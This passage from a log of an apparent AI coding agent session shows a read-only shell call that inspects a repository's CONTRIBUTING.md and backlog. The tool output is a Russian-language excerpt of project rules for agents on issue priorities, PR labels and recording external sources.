\"request_id\": \"req_011CfXMdUgTLDxX71cerjtAr\"\n[2026-09-29T07:43:48.705Z] [INFO] }\n[2026-09-29T07:43:49.786Z] [INFO] {\n[2026-09-29T07:43:49.786Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:43:49.786Z] [INFO]   \"message\": {\n[2026-09-29T07:43:49.786Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:43:49.786Z] [INFO]     \"id\": \"msg_011CfXMdVAV7ofkKrynAv1hQ\",\n[2026-09-29T07:43:49.786Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:43:49.786Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:43:49.786Z] [INFO]     \"content\": [\n[2026-09-29T07:43:49.786Z] [INFO]       {\n[2026-09-29T07:43:49.786Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:43:49.786Z] [INFO]         \"id\": \"toolu_01K9rK3rCqVaoKoXHoHuMdnQ\",\n[2026-09-29T07:43:49.786Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:43:49.786Z] [INFO]         \"input\": {\n[2026-09-29T07:43:49.786Z] [INFO]           \"command\": \"sed -n 60,200p CONTRIBUTING.md; grep -n -i \\\"\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\\\\|presentation\\\\|646\\\\|mango\\\" ops/backlog.md | head -40; find . -iname \\\"*present*\\\" -o -iname \\\"*pitch*\\\" -o -iname \\\"*slide*\\\" | grep -v .git/ | head\",\n[2026-09-29T07:43:49.786Z] [INFO]           \"description\": \"Read contributing rest, backlog matches\"\n[2026-09-29T07:43:49.786Z] [INFO]         },\n[2026-09-29T07:43:49.786Z] [INFO]         \"caller\": {\n[2026-09-29T07:43:49.786Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:43:49.786Z] [INFO]         }\n[2026-09-29T07:43:49.786Z] [INFO]       }\n[2026-09-29T07:43:49.786Z] [INFO]     ],\n[2026-09-29T07:43:49.786Z] [INFO]     \"container\": null,\n[2026-09-29T07:43:49.786Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:43:49.786Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:43:49.786Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:43:49.786Z] [INFO]     \"usage\": {\n[2026-09-29T07:43:49.786Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:43:49.786Z] [INFO]       \"cache_creation_input_tokens\": 7092,\n[2026-09-29T07:43:49.786Z] [INFO]       \"cache_read_input_tokens\": 21963,\n[2026-09-29T07:43:49.786Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:43:49.786Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:43:49.786Z] [INFO]         \"ephemeral_1h_input_tokens\": 7092\n[2026-09-29T07:43:49.786Z] [INFO]       },\n[2026-09-29T07:43:49.786Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:43:49.786Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:43:49.786Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:43:49.786Z] [INFO]     },\n[2026-09-29T07:43:49.786Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:43:49.786Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:43:49.786Z] [INFO]     \"context_management\": null\n[2026-09-29T07:43:49.786Z] [INFO]   },\n[2026-09-29T07:43:49.786Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:49.786Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:49.786Z] [INFO]   \"uuid\": \"1cc28cac-ebff-4aa8-a262-cfe7dcf54322\",\n[2026-09-29T07:43:49.786Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:49.774Z\",\n[2026-09-29T07:43:49.786Z] [INFO]   \"request_id\": \"req_011CfXMdUgTLDxX71cerjtAr\",\n[2026-09-29T07:43:49.786Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:43:49.786Z] [INFO]     \"toolu_01K9rK3rCqVaoKoXHoHuMdnQ\": {\n[2026-09-29T07:43:49.786Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920 && sed -n 60,200p CONTRIBUTING.md; grep -n -i \\\"\u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\\\\|presentation\\\\|646\\\\|mango\\\" ops/backlog.md | head -40; find . -iname \\\"*present*\\\" -o -iname \\\"*pitch*\\\" -o -iname \\\"*slide*\\\" | grep -v .git/ | head\",\n[2026-09-29T07:43:49.786Z] [INFO]       \"description\": \"Read contributing rest, backlog matches\"\n[2026-09-29T07:43:49.786Z] [INFO]     }\n[2026-09-29T07:43:49.786Z] [INFO]   },\n[2026-09-29T07:43:49.786Z] [INFO]   \"wire_ingest_context\": {\n[2026-09-29T07:43:49.786Z] [INFO]     \"toolu_01K9rK3rCqVaoKoXHoHuMdnQ\": {\n[2026-09-29T07:43:49.786Z] [INFO]       \"cwd\": \"/tmp/gh-issue-solver-1790667776920\"\n[2026-09-29T07:43:49.786Z] [INFO]     }\n[2026-09-29T07:43:49.786Z] [INFO]   }\n[2026-09-29T07:43:49.786Z] [INFO] }\n[2026-09-29T07:43:50.982Z] [INFO] {\n[2026-09-29T07:43:50.982Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:43:50.982Z] [INFO]   \"message\": {\n[2026-09-29T07:43:50.982Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:43:50.982Z] [INFO]     \"content\": [\n[2026-09-29T07:43:50.982Z] [INFO]       {\n[2026-09-29T07:43:50.982Z] [INFO]         \"tool_use_id\": \"toolu_01K9rK3rCqVaoKoXHoHuMdnQ\",\n[2026-09-29T07:43:50.982Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:43:50.982Z] [INFO]         \"content\": \"\\nOutput too large (52.5KB). Full output saved to: /home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/bl97cs6yp.txt\\n\\nPreview (first 2KB):\\n\u042f\u0432\u043d\u0430\u044f \u041c\u0435\u0442\u0430 \u0432 issue \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 hard rules. \u0415\u0441\u043b\u0438\\n\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043e, \u0430\u0433\u0435\u043d\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 guidance.\\n\\n\u041c\u0435\u0442\u043a\u0430 `no-diff-expected` \u2014 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f PR,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0434\u0438\u0444\u0444 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 retarget).\\n\u0410\u0433\u0435\u043d\u0442 \u043d\u0435 \u0441\u0442\u0430\u0432\u0438\u0442 \u0435\u0451 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e; \u043e\u0431\u044b\u0447\u043d\u044b\u0439 PR \u043e\u0431\u044f\u0437\u0430\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0434\u0438\u0444\u0444.\\n\\nHistorical migration material \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a source context \u0447\u0435\u0440\u0435\u0437\\naudit, PR history \u0438\u043b\u0438 \u044f\u0432\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 `source` path. \u041d\u043e\u0432\u044b\u0439 active artifact \u0434\u043e\u043b\u0436\u0435\u043d\\n\u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c, \u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d\u043e \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c.\\n\\n### \u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432\\n\\n\u041f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u0430 \u0441\u0435\u0441\u0441\u0438\u0438, \u0435\u0441\u043b\u0438 \u0432 \u043d\u0435\u0439 \u0435\u0441\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\u0434\u043e\u043b\u0436\u0435\u043d \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0438\u0445 \u0432 [`ops/backlog.md`](ops/backlog.md), \u0441\u0435\u043a\u0446\u0438\u044f\\n\u00ab\u041e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\u00bb. \u0415\u0441\u043b\u0438 \u0432\u043e\u043f\u0440\u043e\u0441 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0432 BACKLOG \u2014 \u043d\u0435 \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c\\n\u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u0432 \u043a\u043e\u043b\u043e\u043d\u043a\u0443 \u00ab\u0421\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u044b\u00bb.\\n\\n### \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438\\n\\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u0432\u043e\u0434 \u043f\u0440\u0430\u0432\u0438\u043b \u2014 \u0432\\n[research/external-knowledge/README.md](research/external-knowledge/README.md),\\n\u0440\u0430\u0437\u0434\u0435\u043b \u00ab\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438\u00bb. \u041a\u0440\u0430\u0442\u043a\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430:\\n\\n- **\u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435.** \u041c\u0435\u0442\u043a\u0430 `research`/\u00ab\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435\u00bb \u0431\u0435\u0437 \u0441\u0441\u044b\u043b\u043a\u0438 = \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u043f\u043e\u0438\u0441\u043a;\\n  \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 URL = \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430.\\n- **\u0424\u0438\u043a\u0441\u0430\u0446\u0438\u044f.** \u0424\u0430\u043a\u0442 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u2192 \u0432\\n  [\u0440\u0435\u0435\u0441\u0442\u0440](research/external-knowledge/external-sources-registry.md) **\u0412\u0421\u0415\u0413\u0414\u0410**.\\n  \u041f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u2192 \u0438\u043d\u0441\u0430\u0439\u0442 \u0432\\n  [external-insights/](research/external-knowledge/external-insights/). \u0415\u0441\u043b\u0438\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u0435 \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u0434\u043b\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0430\u0437\u044b, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u0434\u0435\u0438 \u0434\u043b\u044f \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u0444\u0430\u0437 \u0438\u043b\u0438\\n  \u0441\u043c\u0435\u0436\u043d\u044b\u0445 \u0442\u0435\u043c, \u043e\u043d \u043c\u0430\u0440\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u0435\u0433\u0430\u043c\u0438 `future-phase: X`, `topic: Y` (\u043f\u0440\u0438\\n  \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `use-case: Z`) \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0411\u0417 \u043a\u0430\u043a \u0437\u0430\u0434\u0435\u043b \u043d\u0430 \u0431\u0443\u0434\u0443\u0449\u0435\u0435.\\n  \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.\\n- **\u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0435.** \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0441 \u044f\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0445\u0430\u0439\u043f\u0430 \u0438\u043b\u0438 \u0432\u043e\u0434\u044b (\u043d\u0435\u0442 \u043a\u043e\u0434\u0430 \u0434\u043b\u044f\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043d\u0435\u0442 \u043c\u0435\u0442\u0440\u0438\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430, \u0442\u043e\u043b\u044c\u043a\u043e \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043e\u0431\u0435\u0449\u0430\u043d\u0438\u044f) \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u044e\u0442\u0441\u044f\\n  \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e: \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u043a\u0442 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `rejected` \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u043e\u0439\\n  \u00ab\u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043e\u00bb, \u0431\u0435\u0437 \u0438\u043d\u0441\u0430\u0439\u0442\u0430.\\n...\\n\",\n[2026-09-29T07:43:50.982Z] [INFO]         \"is_error\": false\n[2026-09-29T07:43:50.982Z] [INFO]       }\n[2026-09-29T07:43:50.982Z] [INFO]     ]\n[2026-09-29T07:43:50.982Z] [INFO]   },\n[2026-09-29T07:43:50.982Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:43:50.982Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:43:50.982Z] [INFO]   \"uuid\": \"ffb4fdb4-3453-49d1-abf1-765e377e50ee\",\n[2026-09-29T07:43:50.982Z] [INFO]   \"timestamp\": \"2026-09-29T07:43:50.973Z\",\n[2026-09-29T07:43:50.982Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:43:50.982Z] [INFO]     \"stdout\": \"\u042f\u0432\u043d\u0430\u044f \u041c\u0435\u0442\u0430 \u0432 issue \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u043d\u0430 \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u0435\u0442 hard rules. \u0415\u0441\u043b\u0438\\n\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043e, \u0430\u0433\u0435\u043d\u0442 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u043a\u043e\u043d\u0444\u043b\u0438\u043a\u0442 \u0438 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 guidance.\\n\\n\u041c\u0435\u0442\u043a\u0430 `no-diff-expected` \u2014 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u043e\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0434\u043b\u044f PR,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e \u043d\u0435 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0434\u0438\u0444\u0444 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 retarget).\\n\u0410\u0433\u0435\u043d\u0442 \u043d\u0435 \u0441\u0442\u0430\u0432\u0438\u0442 \u0435\u0451 \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e; \u043e\u0431\u044b\u0447\u043d\u044b\u0439 PR \u043e\u0431\u044f\u0437\u0430\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0434\u0438\u0444\u0444.\\n\\nHistorical migration material \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a source context \u0447\u0435\u0440\u0435\u0437\\naudit, PR history \u0438\u043b\u0438 \u044f\u0432\u043d\u043e \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 `source` path. \u041d\u043e\u0432\u044b\u0439 active artifact \u0434\u043e\u043b\u0436\u0435\u043d\\n\u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0442\u044c, \u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043e\u043d\u043e \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c.\\n\\n### \u041a\u043e\u043d\u0441\u043e\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432\\n\\n\u041f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u0430 \u0441\u0435\u0441\u0441\u0438\u0438, \u0435\u0441\u043b\u0438 \u0432 \u043d\u0435\u0439 \u0435\u0441\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\\n\u0434\u043e\u043b\u0436\u0435\u043d \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0438\u0445 \u0432 [`ops/backlog.md`](ops/backlog.md), \u0441\u0435\u043a\u0446\u0438\u044f\\n\u00ab\u041e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b\u00bb. \u0415\u0441\u043b\u0438 \u0432\u043e\u043f\u0440\u043e\u0441 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0432 BACKLOG \u2014 \u043d\u0435 \u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c\\n\u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 \u0432 \u043a\u043e\u043b\u043e\u043d\u043a\u0443 \u00ab\u0421\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u044b\u00bb.\\n\\n### \u0420\u0430\u0431\u043e\u0442\u0430 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438\\n\\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u0432\u043e\u0434 \u043f\u0440\u0430\u0432\u0438\u043b \u2014 \u0432\\n[research/external-knowledge/README.md](research/external-knowledge/README.md),\\n\u0440\u0430\u0437\u0434\u0435\u043b \u00ab\u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c\u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c\u0438\u00bb. \u041a\u0440\u0430\u0442\u043a\u0430\u044f \u0432\u044b\u0436\u0438\u043c\u043a\u0430:\\n\\n- **\u0420\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u0432\u0430\u043d\u0438\u0435.** \u041c\u0435\u0442\u043a\u0430 `research`/\u00ab\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435\u00bb \u0431\u0435\u0437 \u0441\u0441\u044b\u043b\u043a\u0438 = \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u043f\u043e\u0438\u0441\u043a;\\n  \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0439 URL = \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430.\\n- **\u0424\u0438\u043a\u0441\u0430\u0446\u0438\u044f.** \u0424\u0430\u043a\u0442 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u2192 \u0432\\n  [\u0440\u0435\u0435\u0441\u0442\u0440](research/external-knowledge/external-sources-registry.md) **\u0412\u0421\u0415\u0413\u0414\u0410**.\\n  \u041f\u043e\u043b\u0435\u0437\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u2192 \u0438\u043d\u0441\u0430\u0439\u0442 \u0432\\n  [external-insights/](research/external-knowledge/external-insights/). \u0415\u0441\u043b\u0438\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043d\u0435 \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u0434\u043b\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0430\u0437\u044b, \u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0438\u0434\u0435\u0438 \u0434\u043b\u044f \u0431\u0443\u0434\u0443\u0449\u0438\u0445 \u0444\u0430\u0437 \u0438\u043b\u0438\\n  \u0441\u043c\u0435\u0436\u043d\u044b\u0445 \u0442\u0435\u043c, \u043e\u043d \u043c\u0430\u0440\u043a\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u0435\u0433\u0430\u043c\u0438 `future-phase: X`, `topic: Y` (\u043f\u0440\u0438\\n  \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u0438 `use-case: Z`) \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u0442\u0441\u044f \u0432 \u0411\u0417 \u043a\u0430\u043a \u0437\u0430\u0434\u0435\u043b \u043d\u0430 \u0431\u0443\u0434\u0443\u0449\u0435\u0435.\\n  \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c.\\n- **\u041e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u0438\u0435.** \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0441 \u044f\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0437\u043d\u0430\u043a\u0430\u043c\u0438 \u0445\u0430\u0439\u043f\u0430 \u0438\u043b\u0438 \u0432\u043e\u0434\u044b (\u043d\u0435\u0442 \u043a\u043e\u0434\u0430 \u0434\u043b\u044f\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u043d\u0435\u0442 \u043c\u0435\u0442\u0440\u0438\u043a \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430, \u0442\u043e\u043b\u044c\u043a\u043e \u043c\u0430\u0440\u043a\u0435\u0442\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043e\u0431\u0435\u0449\u0430\u043d\u0438\u044f) \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u044e\u0442\u0441\u044f\\n  \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e: \u0442\u043e\u043b\u044c\u043a\u043e \u0444\u0430\u043a\u0442 \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0441\u043e \u0441\u0442\u0430\u0442\u0443\u0441\u043e\u043c `rejected` \u0438 \u043f\u043e\u043c\u0435\u0442\u043a\u043e\u0439\\n  \u00ab\u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u043e\u00bb, \u0431\u0435\u0437 \u0438\u043d\u0441\u0430\u0439\u0442\u0430.\\n- **\u0427\u0438\u0441\u0442\u043e\u0442\u0430.** \u0424\u0430\u043a\u0442\u044b \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 **\u041d\u0415** \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 `CHANGELOG.md`\\n  \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432.\\n- **Traceability.** \u0410\u0432\u0442\u043e\u0440/\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f, \u0434\u0430\u0442\u0430 \u0438 \u044f\u0437\u044b\u043a \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0441\u0435\u0433\u0434\u0430; \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u2014\\n  \u043a\u043e\u0433\u0434\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430.\\n\\n### \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 AI-\u0430\u0433\u0435\u043d\u0442\u0430\u043c\u0438\\n\\n- \u041a\u0430\u0436\u0434\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u0430\u0433\u0435\u043d\u0442\u0430 - \u043d\u043e\u0432\u0430\u044f \u0441\u0435\u0441\u0441\u0438\u044f. 